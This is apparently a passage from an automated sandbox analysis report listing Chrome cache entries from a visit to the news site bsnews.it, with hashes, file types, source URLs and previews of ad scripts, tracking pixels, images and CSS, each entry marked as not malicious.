SHA-512:	B23D788A90BEEA93CD3FCEF47B9F3C47CD98D3DF6DF07AE275BAEB28600F5751EFD75FC93AEC4CA70DC564888C542266E017703A1404D86CF3733CC4A4FE114F
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2024/03/maxresdefault.jpg?resize=218%2C150&ssl=1
Preview:	RIFF....WEBPVP8 ....PV.......>m0.H$".!%....e......i...R....s.n.o`U.6.d.WX.w.}...<....~..s+<..k>.. sfG].....Ig.R..._.N.0\...z......>q.E.!..d@..,..K.....t...c^K+.@..:h.........$...5....?.....^.......\~/...BU......&X....1Z..!]\.O.N*.!.......V.`....FU.....Td.5.....3rH..]..B."....pJ.......mu..50........HW...........k.........g/..Y. .....".....$..l...y.b..8 K...).......!15.<...(...u.Q..xg5......G......\|.B........n.L.mbz<o.....L.F;{.1.R.....t"...2..).!..K.._........`\|"../....f...V.oy.{.SZb.......d.....`.QM..(.U..a.w.).0.k...7...f..]H}.,..v..e;.. ..AM)..3.].\R.$.'......$...2.`..).3.V.a8.h....b.T..\|..2...h...H25Q....r.+......i,O..d....o.1.w.#...NV..c3...)M.....K........8.....L...AlK..+....%J.2.T5.-'...M.j8.Z..`.....c4O.....&bC...o..c..3..4...jl....p.W...........g...X....C[......&...B.x..".......r.....e.W.G).y-l.[.~....to.........2...W..8XN4. ..`..r.4.9..F[..IT..a...O+.3... ......bFR.(..a.Z.;...../..4..........E8.lU.6F.&....L>.

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	863
Entropy (8bit):	4.973401209296864
Encrypted:	false
SSDEEP:	24:tj/KL5hHxl7tGdIWGbUHqDFqc1ozVXJ1cUPEi:pOrHP0dc7Yc1oxJ1cZi
MD5:	7226D343AC8DE0D9EFCF94B1B5FB1A84
SHA1:	BC43105D1EA851B0AE69DAF7EF95BA9ABDBE631D
SHA-256:	BD3E97449F00974A82C0734A67723AB3901856E30637CC123AF9A9591FCEAB20
SHA-512:	3553595C8DEDBB6880E8B372E964CF81BEEC576F7BF9CF658A4200BAD46E2A6E5F9084E463C0BEF25F396A73F6F31E8FE8B90A73236FAAEC256BE1E53789A7BA
Malicious:	false
Reputation:	low
URL:	https://c.gumgum.com/ads/com/gumgum/icons/svg/info_dark.svg
Preview:	<svg enable-background="new 0 0 60 60" viewBox="0 0 60 60" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><linearGradient id="a" gradientTransform="matrix(1 0 0 -1 0 62)" gradientUnits="userSpaceOnUse" x1="16.6685" x2="43.2282" y1="32.4633" y2="32.4633"><stop offset="0" stop-color="#00ce7c"/><stop offset=".9984" stop-color="#4ac1e0"/></linearGradient><circle cx="30" cy="30" fill="#1a1a1a" r="30"/><path d="m38 16.3h-8.1c-2.9 0-5.2 2.3-5.2 5.2v9.5.1c-.1 0-.1 0-.2 0h-3.8c-2.2 0-4 1.8-4 4v3.6c0 2.2 1.8 4 4 4h3.6c2.2 0 4-1.8 4-4v-3.7-.1h.2 9.5c2.9 0 5.2-2.3 5.2-5.2v-8.1c0-2.9-2.3-5.3-5.2-5.3zm1.6 5.3v8.1c0 .9-.7 1.6-1.6 1.6h-9.4c-.1 0-.2 0-.3 0 0-.1 0-.2 0-.2v-9.5c0-.9.7-1.6 1.6-1.6h8.1c.9 0 1.6.7 1.6 1.6zm-14.9 13.1v.4 3.6c0 .2-.2.3-.3.3h-3.6c-.2 0-.3-.2-.3-.3v-3.6c0-.2.2-.3.3-.3h3.6c-.1-.1.1-.1.3-.1z" fill="url(#a)"/></svg>

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (43952)
Category:	downloaded
Size (bytes):	45696
Entropy (8bit):	5.298181442811959
Encrypted:	false
SSDEEP:	768:HVAzVR6xEgHDxWzQU+cVFG54YyvG8849TNazj2:HVAzVvsWwNT8849TEX2
MD5:	92E8E6E91E76FE2F94F2FDDE86EE993B
SHA1:	84638B890E52868A40FD25121516CE743DC585D8
SHA-256:	25B4BC6471743A24272323787162DDB8F10DE1C674F521FBD151261C0C8C1401
SHA-512:	AA8A2B4BF80EA2AE0A5D3FCDCAB3770021D0EF147F4FF45E94CF2463D024A4292A76329B265F051678AB27B43608DDE5E00E8829E4B6BFBFF94C10FEEDAEEBF7
Malicious:	false
Reputation:	low
URL:	https://t.seedtag.com/t/9563-3051-01.js
Preview:	. window._seedtagq = window._seedtagq \|\| []. window._seedtagq.push(["_setId", "9563-3051-01"]). window._seedtagq.push(["_setPublisher", {"i":"5922f9e90ffc210800eb2550","n":"bsnews.it","c":"News","u":"active","o":"IT","f":{},"e":".st-placement .st-adunit {\n\tz-index: 21474836 !important;\n}","bl":[],"t":[{"n":"main","c":"homepage","on":"return /bsnews\\.it\\/$/.test(environment.href.split('#')[0]);","in":false,"a":[{"i":"61518a05359e0b0800174db8","n":"inScreen","t":"inScreen","e":"return document.body","a":22735492,"r":20,"d":false,"as":[[600,150]],"p":["CED","PCED"]}]},{"n":"category","c":"category","on":"return !document.querySelector(\".entry-category\")","in":false,"a":[{"i":"61518a07359e0b0800174db9","n":"inScreen","t":"inScreen","e":"return document.body","a":22735493,"r":20,"d":false,"as":[[600,150]],"p":["CED","PCED"]}]},{"n":"article","c":"article","on":"return !!document.querySelector(\".entry-category\")","in":false,"a":[{"i":"592e8778b4b0b10700ca0100","n":"standard

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, was "CookieSync.html", last modified: Thu Oct 20 08:45:22 2022, max compression, from Unix, original size modulo 2^32 435
Category:	downloaded
Size (bytes):	252
Entropy (8bit):	7.215064843997482
Encrypted:	false
SSDEEP:	6:Xp+8u29cGd3D7Efhc9wjywzKYCSMUtdKD9SDrQbXHSb:Xp+tb83D7zaugMUtMQeXO
MD5:	C75E63BA579186D29CFAEF2184D13143
SHA1:	E34302A0CF90CB684CAF7E775EC56189B139C175
SHA-256:	8E09B9E2F4EC48876453311AFB5E5DE8B059A52EB50C1FA01166940CAFC85B27
SHA-512:	3C9F9FA6E49985A1D544F6CA4594712BECFFDF2E04EE479A2AF9CBE2AACC3CEBF0BECFE4F4E27250EEBA9D78A76379481575FC996137DE562063CFFCCDB73D61
Malicious:	false
Reputation:	low
URL:	https://csync-us.smartadserver.com/2058/CookieSync.html
Preview:	......Qc..CookieSync.html..Q.N.0....&..x....4a..6...:.R...1....f..yo.q.t./.....m%.c...v.9...0.3..y.Np.4.,.Sg,J.Vl3.L..v!..\|^.b.<..R....x.z.. 5...M....P.z.$Ii.Up..0.H..~.H.\.#.,..wu.%.(?d!.[.%.G.w6....Z....^DS.l..F..]..o....[@..v..}..L......

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (8500)
Category:	downloaded
Size (bytes):	8962
Entropy (8bit):	5.3846082428231705
Encrypted:	false
SSDEEP:	192:lrQnnbCRmdq6fJ14V3gX7sKbHot7wjUFRzTBlERHf2:lrybC894VwX7Rbot7wjUFJTsR/2
MD5:	E55ACF0944874AD647BC1762CFC961CE
SHA1:	640D0B4B2464999041229D4DA160DB43BAD55831
SHA-256:	A0820389E879DC79A13559536915A4CE218472D44D63A79C5E7894CD7FAE31B4
SHA-512:	05EBE1EA8D247248E176A0F02AB7BFE86B3795CB4623F3B980C7C259F11BC2183F1669874BD5CA66FD71D75A7AA1A93E7C34B00160445F3CD703AA3699F1A275
Malicious:	false
Reputation:	low
URL:	https://public-api.wordpress.com/wp-admin/rest-proxy/
Preview:	.<!DOCTYPE html>.<html>.<head>.<script>var _wpcomProxyRequestHasCookie = false, _wpcomProxyRequestDC = 'dca';</script>.<script type="text/javascript" src="//s0.wp.com/wp-content/js/rlt-proxy.js?m=20211122"></script>.<script type="text/javascript">..// compute origin from location hash..var parentOrigin;..if (window.location.hash) {...parentOrigin = window.location.hash.substr(1);..}...rltInitialize({ parentOrigin: parentOrigin });.</script>.<script>!function(){var d=["Allow","Date","Content-Type","Content-Length","Link","X-WP-Total","X-WP-TotalPages"],c=["Accept"],i={},e=["https://wordpress.com","https://cloud.jetpack.com","https://agencies.automattic.com","http://wpcalypso.wordpress.com","https://forums.pocketcasts.com","https://forums.dayoneapp.com","http://widgets.wp.com","https://widgets.wp.com","https://dev-mc.a8c.com","https://mc.a8c.com","https://vrc.a8c.com","https://dserve.a8c.com","http://calypso.localhost:3000","https://calypso.localhost:3000","http://jetpack.cloud.localhost

Chrome Cache Entry: 308

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://mwzeom.zeotap.com/mw?cid=yD3ugsxtv4PTPe3Unz7zgsk4v4bTaL-Oym8nRq1d&env=mWeb&zpartnerid=1875&gdpr=0&gdpr_consent=&idmatch=0&initiator=zt&gdpr=0&gdpr_consent=&partner_user_id=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 309

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (737), with no line terminators
Category:	downloaded
Size (bytes):	737
Entropy (8bit):	5.165086324068421
Encrypted:	false
SSDEEP:	12:fXffxP1iR9rV4uHoqudqn7jaNjWEVuHntVPmj0Ox8kUjXnOpT1o:fXffCRZVBHfv+WcuHP80FkUDOp2
MD5:	8E295DE99C41F5AC2400DA2ADA41AE48
SHA1:	0DE06C9DC1666345B66785313A49E232E0C14352
SHA-256:	FF18D248373CD813FC89F6EA358905D850175EFD8007E1252E48921DC13557AF
SHA-512:	79FF26D2A9ADC2E2B4C467890644AA3ED1EAFA2FE7D77AB35F997FB29BCCD1CB4A0736E4D407B80073B26FA47C5474665C714F9542E411E2586FD1AF54AF704F
Malicious:	false
Reputation:	low
URL:	https://cdn.codesour.com/codesour/bsnews/807.prod.js
Preview:	(self.webpackChunksour=self.webpackChunksour\|\|[]).push([[807],{807:(e,i,t)=>{"use strict";t.r(i);var r=t(845);const{LoggerSour:a,filterListByPageType:l}=r.t,o=new a("Player > Viralize");!function(){var e=window;const{scriptsToLoad:i,pageType:t,device:r}=e._sour.config;if(i.viralize&&(o.log("Initialize Viralize",i.viralize,t,r),0!==l([i.viralize],t,r).length)){if(i.viralize.selector&&document.querySelectorAll(i.viralize.selector).length<=0)return!1;var a=document.createElement("script");a.async=i.viralize.async,a.type="text/javascript",a.setAttribute("data-wid","auto");var c="https:"===document.location.protocol;a.src=(c?"https:":"http:")+i.viralize.url,document.body.appendChild(a),o.log("Loading Viralize",a,i.viralize)}}()}}]);

Chrome Cache Entry: 310

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90", baseline, precision 8, 50x50, components 3
Category:	dropped
Size (bytes):	1128
Entropy (8bit):	7.327339770691606
Encrypted:	false
SSDEEP:	24:OJf+Yo0XxDuLHeOWXG4OZ7DAJuLHenX3/vTxwMM+OyiKbCVlH2rm2:UfauERAhTGpfyiiC+
MD5:	E597F08DF9D7E7E7C7DC81A9A507FA13
SHA1:	21A18956EE50FF937CBE9E428A63EFA52DD25BB8
SHA-256:	EC626D1355EF5D84689C88B2EC9E383FA16B0BE9C068FE5FC913BE061542EDBC
SHA-512:	B8A75FB43B028302A41A0380200F9D82BD8572F8BA681768944E92FCD6EE0B732E6F95F00D703ABD7964C619584493379FA54B391825CB119AA64246C5B1CD2B
Malicious:	false
Reputation:	low
Preview:	......JFIF.....`.`.....;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90....C....................................................................C.......................................................................2.2.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...O...K..%2K#.E.I<.@..^...n.l..".^....v.....S.V....B.).4.\|\|.[..~.......+W....:..s.........5......~4P..]'...e..z..g.....sx55...p...&..z.h..Lq@...i..+.....\|."...S.V...g.IJ;............gH.7........`...A?...&.&.H..w..0.....XX....M.P...5.,oo...F$f......\|....y..WW......;.y?.}..).K........(..4sI...

Chrome Cache Entry: 311

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0950611313667666
Encrypted:	false
SSDEEP:	3:CUMllRPQEsJ9pse:Gl3QEsJLse
MD5:	AD4B0F606E0F8465BC4C4C170B37E1A3
SHA1:	50B30FD5F87C85FE5CBA2635CB83316CA71250D7
SHA-256:	CF4724B2F736ED1A0AE6BC28F1EAD963D9CD2C1FD87B6EF32E7799FC1C5C8BDA
SHA-512:	EBFE0C0DF4BCC167D5CB6EBDD379F9083DF62BEF63A23818E1C6ADF0F64B65467EA58B7CD4D03CF0A1B1A2B07FB7B969BF35F25F1F8538CC65CF3EEBDF8A0910
Malicious:	false
Reputation:	low
URL:	https://widget-pixels.outbrain.com/widget/detect/px.gif?ch=1
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 312

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	585
Entropy (8bit):	5.036171004516797
Encrypted:	false
SSDEEP:	12:YGK45Q1/4qejRdrDbzQzrd9EHlAHX9N5VLRdWp86Nmx7FYu:YdQjRdfM90A3j/LRdWpVmx7FYu
MD5:	01BC89E3B6A21C863895746AA72F08E5
SHA1:	03A8ED07F12B2AB43590F32771A6F5EB144A49CB
SHA-256:	18BBC43277D926A48DE1E51716D25AB2EC1564D325CDE111E7ED602EBEA7043C
SHA-512:	7474DB89174D32BC7E2684E2D1C1573EC93A23E1365A3912A54D0CEEB0792F936564E8A725F6D3586F55D880E3DD9206F220083F2DD0FE73DA0E0A53C8C6CCDE
Malicious:	false
Reputation:	low
URL:	https://public-api.wordpress.com/rest/v1/batch?http_envelope=1&urls[]=/me&urls[]=/sites/123231640/posts/95325/likes?chronological=true&urls[]=/sites/123231640/posts/95325/reblogs/mine
Preview:	{"code":200,"headers":[{"name":"Content-Type","value":"application\/json"}],"body":{"\/me":{"status_code":403,"errors":{"error":"authorization_required","message":"An active access token must be used to query information about the current user."}},"\/sites\/123231640\/posts\/95325\/likes?chronological=true":{"found":0,"i_like":false,"can_like":true,"site_ID":123231640,"post_ID":95325,"likes":[]},"\/sites\/123231640\/posts\/95325\/reblogs\/mine":{"status_code":400,"errors":{"error":"method_unavailable","message":"This endpoint is only available on WordPress.com hosted blogs."}}}}

Chrome Cache Entry: 313

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, progressive, precision 8, 300x250, components 3
Category:	dropped
Size (bytes):	32561
Entropy (8bit):	7.93313758912575
Encrypted:	false
SSDEEP:	768:wikBbrLK/AlAdEDtuUhNxk8+MXx+RhvE/SHNRDgMsw:wXbrLKoqdAd1ph+Ry/QYMsw
MD5:	BA4A2BE70549A100B9F5AE9A6E452531
SHA1:	80F3858442BFC848716BC79204D52191BE42BAD4
SHA-256:	9379C4B5EA3A1FADC8568F0FEC018AC25E183FE5E82933D127ABDD375A05605D
SHA-512:	04EEF2F62D7FA55AE083F8AB5E26A60F600DE855D9A6BE801882FB4CAF040007702032D59577A9CC2BCB3827AB3DD786AD286D76E045E53D9B4CFD6D4040F59D
Malicious:	false
Reputation:	low
Preview:	......JFIF.....d.d......Ducky.......d.....&Adobe.d................G..D...`..../..............................................................................................................................................,.............#.................................................................................@ ......p1$.#&.0P!"56..........................!..1A.Q"2.. aqB#@.Rb3.r.C$T%...s460pS.....c..d.5Eu.......................!1...AQaq.. @......"2B..R#3$.br...0p....Ss.P.4....................!1AQaq.. @.....p...0P..............................................................................................=.[?.T....v......t..-)............y.3dt.,.^..wv......"...Ry....K.vf.r.+..+.A..V.mk..JsR...........m......ct..Y...t5......g.j;V.O.]..p..Y..v.K...........q..I...i..QE......o.x..>....;....l.f....}Yx`........G..A;...Lc.[V....Ux.9./....[..?B9[.}.8..V.................rk.Z....;.M.g.....P. .8.1u...Z...Ug...5.?..L........~8.}...7..D...S.D.M......Gs.{..5.Vr..3.S.....;I..

Chrome Cache Entry: 314

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 19 x 15, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	454
Entropy (8bit):	7.356996746351615
Encrypted:	false
SSDEEP:	6:6v/lhPjDu4dDINY4VYkHQYD/ff33x+UIScesDgSvkar2GVPkEShRoYsV2NPRD+0m:6v/77Ld10Yhcf3B+k5RzEMot1NHH/1
MD5:	DB0063F4B7EA17465A21D4E025F51946
SHA1:	4E6E416E55DAE73737A397B8555A520344FFC97F
SHA-256:	E9D04538A1C9704A64BC831FFDD69A96D93204A7B92F98BDAA6C36CDA351B487
SHA-512:	B3503200DD00BF5763825822B564D33E7074FBB33FFE115C7EF9CBDDE302E848A502DC84355D47846E22DEC0564EF62BCED431B7DDE8B48A87B761955F5304BF
Malicious:	false
Reputation:	low
URL:	https://c.gumgum.com/ads/com/gumgum/adchoices/opaque/oba_collapsed.png
Preview:	.PNG........IHDR..............D.,....IDATx..SC..`..u.v..K..5..N.<e[k.....g.[}...)......k.EN..... z$H..D[..+p......bJ...q6..!.0XK....I.T.."J.....y...h.`=L8.u?..Wu5..y3-....g......s...#.-./t.v...J<..N.\Z.!U0J[c.[.!us6u........#..?_.U.y_..3..(....K..\|#n.w.c... [A....q..X.....B...z\..l..,..x9..1.A.:...z...v....]1Gs....r<....)vr....?Es..Z.v.?.b...7.Ux1... ......%..r..u3........K..R..G.+q^..T.....1'....R.Gp_*.....#.<./+....IEND.B`.

Chrome Cache Entry: 315

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=rp&google_hm=TFVBWldQRU0tRi00NTMy&google_push=&gdpr=0
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 316

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	605778
Entropy (8bit):	5.401417248142135
Encrypted:	false
SSDEEP:	6144:rDCyDT8C7yEAnsA6RtozP/vp3/InAHAzhBICOrmk0h+B6dfEXyMsCU85D3ysS4:rmy5A6Rtoz3vp3/KOD4+B6dfEJD3ysb
MD5:	E0A6415631C1A3947EF810127A2B55EB
SHA1:	46EC3EAC55798F5AA49AA0C2311B81A9740D326A
SHA-256:	99AF0D28ECF63F28AEF45B2DAB9251DCD901DAEABC9D89D3574D691FA9982445
SHA-512:	D52FABAB53D7E3ABB03C581923CB8D90CA26FCC6B34815C40E738CBF82E7D1BF80679294C8FDD8F87B45FD165439F0BC469EFF3D0AE698F25460EA3A066E2A83
Malicious:	false
Reputation:	low
URL:	https://a.teads.tv/static/master/media/format/v3/teads-format.min.js
Preview:	(()=>{var __webpack_modules__={7724:(e,t,i)=>{(e.exports=i(7516)(void 0)).push([e.id,".teads-overlay{position:absolute;top:0;left:0;width:100%;height:100%;background-color:#000;opacity:0;cursor:pointer}",""])},5352:(e,t,i)=>{(e.exports=i(7516)(void 0)).push([e.id,".teads-inread{overflow:hidden;height:0;-webkit-transition:height .5s;-moz-transition:height .5s;-o-transition:height .5s;-ms-transition:height .5s;transition:height .5s;box-sizing:content-box}.teads-inread.no-transition{-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none}div.teads-inread div:after,div.teads-inread div:before{display:none!important}div.teads-inread.teads-display{margin-bottom:10px!important}div.teads-inread.teads-third-party-display{height:auto!important}",""])},4608:(e,t,i)=>{(e.exports=i(7516)(void 0)).push([e.id,'.teads-expand .teads-ui-components-adchoices,.teads-inread .teads-ui-components-adchoices{color:#000;font-family:arial;font-size:11px;cursor:pointer;

Chrome Cache Entry: 317

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2937)
Category:	downloaded
Size (bytes):	219584
Entropy (8bit):	5.417728367265481
Encrypted:	false
SSDEEP:	6144:KdEQmJ1czbrKWehWXp7T21homAbas7J9Ua83:9zHgaU7Jmt
MD5:	DDAFE9EE559A665A1E67E4338E00CA53
SHA1:	FDD0295C8758197DCB33B6F3F7DFCE1A6DB385CB
SHA-256:	98727E12C24AB43D1F3A871C66C5CE44070E1CEDF37BDC9FF476233B8183688B
SHA-512:	EB188E9F7580D24676530E8BC6854536329BABDD0BBC017B0A72D94CC781C5B13BDA8ABEA7C68D6190B3FA9C874B5D314015880EE319585EF7B2DA0141DD0F23
Malicious:	false
Reputation:	low
URL:	https://pagead2.googlesyndication.com/pagead/managed/js/activeview/current/ufs_web_display.js
Preview:	(function(){var n,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");},da=.ca(this),q=function(a,b){if(b)a:{var c=da;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.q("Symbol",function(a){if(a)return a;var b=function(f,g){this.dh=f;ba(this,"description",{configurable:!0,writable:!0,value:g})};b.prototype.toString=function(){return this.dh};var c="jscomp_symbol_"+(1E9*Math.random()>>>0)+"_",d=0,e=function(f){if(this instanceof e

Chrome Cache Entry: 318

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	566
Entropy (8bit):	5.067763497346412
Encrypted:	false
SSDEEP:	12:2rjJYn08pigLK1Im1s4H+nMWm3HnkaeH6EchQuHnRhczQZWyYqno:2rlOpifvF+MdHVeHpchQuHRSQZWso
MD5:	17C614E0FAD1C499BEC3A7D0A21555F7
SHA1:	10260E0F66AB969E225B4B982860D1FBFEC68B0F
SHA-256:	4F618D20D85F3163D72432606F3AFA3C17B6C79954F967EC3DF9A710503C9DF4
SHA-512:	AD630193DD5FF4C83F029D210D1ADA2F7BA73E2153EB345FF0F594969A3ED21799C3FA995BA68B83FCF609E910D95520152A2669B207CC1E6432582DFABEA567
Malicious:	false
Reputation:	low
URL:	https://s.e-planning.net/esb/4/0/1992d/f6ee63a0c2353004/lotame20220615.js
Preview:	(function() {..! function() {...var lotameClientId = '15238';...var lotameTagInput = {....data: {},....config: {.....clientId: Number(lotameClientId)....}...};....var lotameConfig = lotameTagInput.config \|\| {};...var namespace = window['lotame_' + lotameConfig.clientId] = {};...namespace.config = lotameConfig;...namespace.data = lotameTagInput.data \|\| {};...namespace.cmd = namespace.cmd \|\| [];..} ();...var s = document.createElement("script");..s.src = "https://tags.crwdcntrl.net/lt/c/15238/lt.min.js";..s.async = "async";..document.body.appendChild(s);..})();.

Chrome Cache Entry: 319

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (38499), with no line terminators
Category:	downloaded
Size (bytes):	38499
Entropy (8bit):	4.9540793617536645
Encrypted:	false
SSDEEP:	768:JDgZ5L69UB+w96n25CzcgZ5L69UB+w96n25CzpgZ5L69UB+w96n25CzA/71S:VgZ5L69UB+w96n25CzcgZ5L69UB+w96R
MD5:	3D3B0373078C30BBD31F9ECDD5DDDBAE
SHA1:	2AAB17D00757EE262CC8673D992B81A6E22CD383
SHA-256:	4834E9F1E9D73B8D2BAF08FD6294F6CB4A360AD0CB7B91EA707DFFA4866BE240
SHA-512:	9014D355E2A65F9EB108F44734EDB18C2866139B75BFC551A481865C83ADB4AF9F399A32962BCFA94E40104327FC63BE2E993030FF5B6BADD589ED7AF09C40A9
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/td-composer/td-multi-purpose/style.css?ver=6217cd4d7820e3bfbc83cc495211f01b
Preview:	.clearfix{*zoom:1}.clearfix:after,.clearfix:before{display:table;content:'';line-height:0}.clearfix:after{clear:both}@media(min-width:768px){.tdm-header-style-3 .td-affix .td-main-menu-logo img{top:0}}@-moz-document url-prefix(){@media(min-width:768px){.tdm-header-style-3 .td-main-menu-logo a img{top:-1px}}}.tdm-header-style-1,.tdm-header-style-2,.tdm-header-style-3{}.tdm-header-style-1.td-header-wrap .td-header-top-menu-full,.tdm-header-style-2.td-header-wrap .td-header-top-menu-full,.tdm-header-style-3.td-header-wrap .td-header-top-menu-full{background-color:#222}.tdm-header-style-1 .td-main-menu-logo,.tdm-header-style-2 .td-main-menu-logo,.tdm-header-style-3 .td-main-menu-logo{display:block;margin-right:42px;height:80px}@media(min-width:1019px) and (max-width:1140px){.tdm-header-style-1 .td-main-menu-logo,.tdm-header-style-2 .td-main-menu-logo,.tdm-header-style-3 .td-main-menu-logo{margin-right:20px}}@media(min-width:768px) and (max-width:1018px){.tdm-header-style-1 .td-main-menu-lo

Chrome Cache Entry: 320

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (62074)
Category:	downloaded
Size (bytes):	62075
Entropy (8bit):	5.250890569840352
Encrypted:	false
SSDEEP:	768:UGV6FZiCM8G6PEIhW6arKefemVajOJW8P2HtJLDJa+VVMZYyNfxH1lJY42h2ohgH:tNGMaj/3HOyt/sNKWp/
MD5:	67F53A368F4D2FF48D953962B5FD8816
SHA1:	810AC4DEB2C9EB44598E87C7FFFFD5031A45718A
SHA-256:	4F12D5821069E01DDB267403CC224637537BC2672266AB3A51A43AFE361BE943
SHA-512:	9BFE3DECA85B66D91FEB9A23BC61EBA6C9A634C2301C8EA26DE0014DA95A5DF94378A6833339A703F94F1BDC52F3000140B73669260B5873952B7A7ADEDE1F08
Malicious:	false
Reputation:	low
URL:	https://cdn.pbstck.com/collector-9d47d92.js
Preview:	!function(e){"use strict";function t(e,t,i,s){return new(i\|\|(i=Promise))((function(n,o){function a(e){try{d(s.next(e))}catch(e){o(e)}}function r(e){try{d(s.throw(e))}catch(e){o(e)}}function d(e){var t;e.done?n(e.value):(t=e.value,t instanceof i?t:new i((function(e){e(t)}))).then(a,r)}d((s=s.apply(e,t\|\|[])).next())}))}var i,s;"function"==typeof SuppressedError&&SuppressedError;const n=/pbstck:debug/.test(window.location.href),o=!!(null===(i=window.localStorage)\|\|void 0===i?void 0:i.getItem)&&null!==window.localStorage.getItem("pbstck"),a=`[pbstck-${null!==(s="9d47d92")?s:"unknown"}]`;function r(){return n\|\|o}function d(...e){r()&&console.log(a,...e)}function c(...e){r()&&console.warn(a,...e)}function u(...e){r()&&console.error(a,...e)}var l,b;!function(e){e[e.LOADED=0]="LOADED",e[e.FAILED=1]="FAILED",e[e.NOT_READY=2]="NOT_READY"}(l\|\|(l={})),function(e){e.RUNNING="running",e.NO_BID="noBid",e.BID="bidResponse",e.TIMEOUT="bidTimeout"}(b\|\|(b={}));const p=e=>e.state===b.BID,h=e=>p(e)?e.bidRe

Chrome Cache Entry: 321

Download File

